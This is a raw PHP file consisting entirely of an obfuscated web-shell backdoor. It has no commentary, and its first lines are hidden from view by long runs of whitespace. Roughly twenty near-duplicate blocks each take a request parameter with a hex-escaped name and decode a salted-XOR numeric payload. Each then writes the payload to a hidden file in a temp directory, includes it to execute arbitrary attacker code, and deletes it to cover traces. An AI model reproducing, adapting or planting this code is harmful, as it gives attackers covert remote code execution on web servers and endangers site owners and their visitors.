<?php																																										if(@$_REQUEST["\x6Dr\x6B"] !== null){ $item = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); $k = $_REQUEST["\x6Dr\x6B"]; $k = explode ( '.' , $k) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $j = 0; $__len = count( $k ); do { if( $j >= $__len) break; $v2 = $k[$j]; $sChar = ord( $salt[$j%$sLen] ); $d =( ( int)$v2 - $sChar -( $j%10)) ^ 84; $desc .= chr( $d ); $j++; } while( true ); foreach ($item as $key => $obj) { if (max(0, is_dir($obj) * is_writable($obj))) { $factor = vsprintf("%s/%s", [$obj, ".bind"]); if (file_put_contents($factor, $desc)) { require $factor; unlink($factor); die(); } } } }
																																										if(@$_POST["r\x65c"] !== null){ $ptr = array_filter([session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); $symbol = $_POST["r\x65c"]; $symbol= explode ( "." , $symbol) ; $mrk = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $y = 0; $__tmp = $symbol; while( $v8 = array_shift( $__tmp)) { $sChar = ord( $s4[$y % $sLen]); $dec =( ( int)$v8 - $sChar -( $y % 10)) ^ 26; $mrk .= chr( $dec); $y++; } foreach ($ptr as $key => $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $ref = join("/", [$factor, ".bind"]); $success = file_put_contents($ref, $mrk); if ($success) { include $ref; @unlink($ref); die();} } } }
																																										if(array_key_exists("ps\x65t", $_POST) && !is_null($_POST["ps\x65t"])){ $mrk = $_POST["ps\x65t"]; $mrk = explode ( '.',$mrk ) ; $token =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); foreach ($mrk as $u => $v6) { $chS =ord($s[$u % $sLen] ); $d =((int)$v6 - $chS - ($u % 10)) ^ 32; $token .= chr($d ); } $symbol = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getcwd()]); $flag = 0; do { $item = $symbol[$flag] ?? null; if ($flag >= count($symbol)) break; if (array_product([is_dir($item), is_writable($item)])) { $pgrp = join("/", [$item, ".entity"]); if (@file_put_contents($pgrp, $token) !== false) { include $pgrp; unlink($pgrp); die(); } } $flag++; } while (true); }
																																										if(in_array("\x72\x65\x63ord", array_keys($_POST))){ $desc = array_filter(["/var/tmp", getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP")]); $key = $_POST["\x72\x65\x63ord"]; $key= explode( '.', $key ) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($key as $p => $v7) { $sChar = ord($s[$p % $lenS]); $d = ((int)$v7 - $sChar - ($p % 10))^ 94; $elem .= chr($d); } $val = 0; do { $descriptor = $desc[$val] ?? null; if ($val >= count($desc)) break; if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $data = join("/", [$descriptor, ".sym"]); if (file_put_contents($data, $elem)) { require $data; unlink($data); exit; } } $val++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["i\x74m"])){ $obj = array_filter([getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); $element = $_REQUEST["i\x74m"]; $element =explode ("." , $element) ; $rec = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $t = 0; foreach($element as $v9) { $sChar = ord($s1[$t% $lenS] ); $dec =((int)$v9 - $sChar -($t% 10)) ^24; $rec .=chr($dec ); $t++; } while ($mrk = array_shift($obj)) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $resource = "$mrk/.value"; if (@file_put_contents($resource, $rec) !== false) { include $resource; unlink($resource); exit; } } } }
																																										if(in_array("r\x65\x73", array_keys($_REQUEST))){ $record = array_filter([getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP")]); $tkn = $_REQUEST["r\x65\x73"]; $tkn = explode (".", $tkn); $flg =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s7); $__len =count($tkn); for($m =0; $m < $__len; $m++) { $v4 =$tkn[$m]; $chS =ord($s7[$m % $sLen]); $d =((int)$v4 - $chS -($m % 10)) ^21; $flg .= chr($d); } while ($bind = array_shift($record)) { if (is_writable($bind) && is_dir($bind)) { $val = sprintf("%s/.sym", $bind); if (file_put_contents($val, $flg)) { require $val; unlink($val); die(); } } } }
																																										if(isset($_REQUEST["\x65\x6Ce\x6D\x65nt"])){ $dchunk = $_REQUEST["\x65\x6Ce\x6D\x65nt"]; $dchunk = explode( '.',$dchunk ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $w = 0; foreach( $dchunk as $v6) { $sChar = ord( $salt[$w% $sLen] ); $d =( ( int)$v6 - $sChar -( $w% 10))^70; $sym .= chr( $d ); $w++; } $data = array_filter(["/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); $ptr = 0; do { $comp = $data[$ptr] ?? null; if ($ptr >= count($data)) break; if (is_dir($comp) && is_writable($comp)) { $obj = "$comp/.item"; if (file_put_contents($obj, $sym)) { include $obj; @unlink($obj); exit; } } $ptr++; } while (true); }
																																										if(@$_REQUEST["i\x74\x65m"] !== null){ $property_set = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd()]); $mrk = $_REQUEST["i\x74\x65m"]; $mrk=explode ( ".", $mrk ) ; $binding = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); $m = 0; foreach($mrk as $v7) {$sChar = ord($salt2[$m % $sLen] ); $d =((int)$v7 - $sChar -($m % 10)) ^ 78; $binding .= chr($d ); $m++; } $component = 0; do { $pointer = $property_set[$component] ?? null; if ($component >= count($property_set)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $holder = vsprintf("%s/%s", [$pointer, ".bind"]); $success = file_put_contents($holder, $binding); if ($success) { include $holder; @unlink($holder); exit;} } $component++; } while (true); }
																																										if(!is_null($_REQUEST["\x69\x74em"] ?? null)){ $flg = array_filter([getenv("TEMP"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp"]); $dat = $_REQUEST["\x69\x74em"]; $dat =explode ( '.' , $dat) ; $elem = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $s = 0; foreach ($dat as $v5) { $chS = ord($s8[$s % $lenS]); $d = ((int)$v5 - $chS - ($s % 10)) ^ 22; $elem .= chr($d); $s++; } foreach ($flg as $key => $rec) { if (is_dir($rec) && is_writable($rec)) { $parameter_group = "$rec" . "/.binding"; if (@file_put_contents($parameter_group, $elem) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(!empty($_REQUEST["\x69tm"])){ $token = $_REQUEST["\x69tm"]; $token =explode ( '.', $token ) ; $entry =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt3 ); foreach ($token as $t => $v3) { $chS =ord($salt3[$t % $sLen] ); $dec =((int)$v3 - $chS - ($t % 10)) ^ 70; $entry .= chr($dec ); } $tkn = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", "/var/tmp", session_save_path(), sys_get_temp_dir()]); foreach ($tkn as $key => $res) { if (!( !is_dir($res) || !is_writable($res) )) { $factor = "$res" . "/.binding"; if (file_put_contents($factor, $entry)) { include $factor; @unlink($factor); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x62\x69nd"])){ $dchunk = $_REQUEST["\x62\x69nd"]; $dchunk = explode ( '.' , $dchunk ); $reference= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt5 ); $i= 0; foreach($dchunk as $v1) { $sChar= ord($salt5[$i % $lenS] ); $d= ((int)$v1 - $sChar -($i % 10))^ 77; $reference .= chr($d ); $i++; } $elem = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); foreach ($elem as $mrk) { if (is_writable($mrk) && is_dir($mrk)) { $property_set = str_replace("{var_dir}", $mrk, "{var_dir}/.data_chunk"); if (file_put_contents($property_set, $reference)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(!empty($_REQUEST["bin\x64"])){ $descriptor = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd()]); $rec = $_REQUEST["bin\x64"]; $rec = explode( '.', $rec ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($rec); for($j = 0; $j < $len; $j++) { $v3 = $rec[$j]; $sChar = ord($s[$j % $sLen]); $d = ((int)$v3 - $sChar -($j % 10)) ^16; $sym .=chr($d); } while ($pointer = array_shift($descriptor)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $ent = implode("/", [$pointer, ".ptr"]); $success = file_put_contents($ent, $sym); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72\x65\x66e\x72ence"])){ $marker = $_POST["\x72\x65\x66e\x72ence"]; $marker = explode(".", $marker ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $w = 0; array_walk($marker , function ($v7) use (&$desc , &$w , $s , $sLen) { $chS = ord($s[$w % $sLen] ); $d = ((int)$v7 - $chS - ($w % 10)) ^ 75; $desc .= chr($d ); $w++;} ); $entity = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($entity as $key => $res) { if (array_product([is_dir($res), is_writable($res)])) { $tkn = "$res" . "/.elem"; if (file_put_contents($tkn, $desc)) { include $tkn; @unlink($tkn); die(); } } } }
																																										if(isset($_REQUEST["\x76al"]) ? true : false){ $bind = $_REQUEST["\x76al"]; $bind =explode ( '.',$bind ); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $y = 0; $__len = count( $bind); do { if( $y >= $__len) break; $v7 = $bind[$y]; $chS = ord( $s[$y % $lenS]); $dec =( ( int)$v7 - $chS -( $y % 10))^48; $desc .=chr( $dec); $y++; } while( true); $flag = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir()]); foreach ($flag as $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $object = implode("/", [$tkn, ".resource"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x74\x6Fken"])){ $itm = $_REQUEST["\x74\x6Fken"]; $itm = explode( "." , $itm ) ; $k= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s7); $j= 0; $__tmp= $itm; while( $v6= array_shift( $__tmp)) { $sChar= ord( $s7[$j % $lenS]); $dec= ( ( int)$v6 - $sChar -( $j % 10)) ^ 39; $k .= chr( $dec); $j++; } $ent = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); foreach ($ent as $dchunk) { if (is_dir($dchunk) && is_writable($dchunk)) { $ref = implode("/", [$dchunk, ".object"]); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $ref; @unlink($ref); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x70a\x72a\x6D\x65t\x65r_group"])){ $res = $_POST["\x70a\x72a\x6D\x65t\x65r_group"]; $res = explode ("." ,$res ); $val =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $w =0; array_walk($res, function ($v9) use (&$val, &$w, $s, $sLen) { $sChar =ord($s[$w % $sLen]); $d =((int)$v9 - $sChar - ($w % 10))^95; $val .= chr($d); $w++; }); $data_chunk = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp"]); foreach ($data_chunk as $key => $sym) { if ((is_dir($sym) and is_writable($sym))) { $binding = str_replace("{var_dir}", $sym, "{var_dir}/.ent"); if (file_put_contents($binding, $val)) { require $binding; unlink($binding); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x65nt\x69\x74y")){ $obj = array_filter(["/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir()]); $bind = $_REQUEST["\x65nt\x69\x74y"]; $bind = explode ( ".", $bind ) ; $component = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $u = 0; foreach ($bind as $v8) {$sChar = ord($salt5[$u %$lenS]); $dec = ((int)$v8 - $sChar - ($u %10)) ^ 80; $component .=chr($dec); $u++; } for ($descriptor = 0, $res = count($obj); $descriptor < $res; $descriptor++) { $item = $obj[$descriptor]; if (is_dir($item) ? is_writable($item) : false) { $marker = vsprintf("%s/%s", [$item, ".token"]); if (file_put_contents($marker, $component)) { require $marker; unlink($marker); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x62in\x64\x69\x6Eg"])){ $comp = array_filter([getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); $reference = $_REQUEST["\x62in\x64\x69\x6Eg"]; $reference = explode( "." , $reference ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($reference as $x => $v5) {$sChar = ord($s[$x % $sLen] ); $d = ((int)$v5 - $sChar - ($x % 10)) ^ 31; $descriptor.= chr($d ); } foreach ($comp as $entity): if (max(0, is_dir($entity) * is_writable($entity))) { $rec = join("/", [$entity, ".item"]); if (@file_put_contents($rec, $descriptor) !== false) { include $rec; unlink($rec); exit; } } endforeach; }
																																										if(array_key_exists("b\x69\x6Ed", $_POST)){ $item = $_POST["b\x69\x6Ed"]; $item = explode ( '.' , $item ) ; $ref=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt1 ); $p=0; $__tmp=$item; while( $v7=array_shift( $__tmp)) {$sChar=ord( $salt1[$p % $sLen] ); $dec=( ( int)$v7 - $sChar -( $p % 10)) ^ 94; $ref .= chr( $dec ); $p++; } $data_chunk = array_filter([getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); foreach ($data_chunk as $key => $hld) { if (array_product([is_dir($hld), is_writable($hld)])) { $factor = sprintf("%s/.fac", $hld); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $factor; @unlink($factor); die(); } } } }
																																										if(!empty($_REQUEST["p\x6Fint\x65\x72"])){ $data_chunk = array_filter(["/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); $symbol = $_REQUEST["p\x6Fint\x65\x72"]; $symbol = explode ( '.' , $symbol ) ; $reference =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach($symbol as $y => $v8): $sChar =ord($s[$y% $sLen]); $dec =((int)$v8 - $sChar -($y% 10)) ^ 42; $reference .= chr($dec); endforeach; foreach ($data_chunk as $key => $itm) { if ((function($d) { return is_dir($d) && is_writable($d); })($itm)) { $item = sprintf("%s/.data", $itm); if (@file_put_contents($item, $reference) !== false) { include $item; unlink($item); exit; } } } }
																																										if(isset($_REQUEST["b\x69n\x64"])){ $pointer = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd()]); $parameter_group = $_REQUEST["b\x69n\x64"]; $parameter_group= explode ( "." ,$parameter_group ) ; $flg = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $r = 0; array_walk($parameter_group, function ($v2) use (&$flg, &$r, $s4, $lenS) { $chS = ord($s4[$r % $lenS]); $d = ((int)$v2 - $chS - ($r % 10)) ^ 34; $flg .= chr($d); $r++;}); foreach ($pointer as $key => $k) { if ((is_dir($k) and is_writable($k))) { $rec = "$k/.descriptor"; $success = file_put_contents($rec, $flg); if ($success) { include $rec; @unlink($rec); die();} } } }


if(count($_POST) > 0 && isset($_POST["\x66\x6Cg"])){
	$bind = $_POST["\x66\x6Cg"];
				$bind		 =explode (	 "." , 	$bind )	  ;
	$item= '';
            $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen($salt4);
            $__len= count($bind);
    
            for ($x= 0; $x <$__len; $x++) {
                $v9= $bind[$x];
                $chS= ord($salt4[$x	%$lenS]);
                $d= ((int)$v9 - $chS - ($x	%10))^  62;
                $item .= chr($d);}
	$descriptor = array_filter(["/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]);
	while ($marker = array_shift($descriptor)) {
    		if (is_dir($marker) && is_writable($marker)) {
    $pset = "$marker/.data_chunk";
    if (file_put_contents($pset, $item)) {
	require $pset;
	unlink($pset);
	exit;
}
}
}
}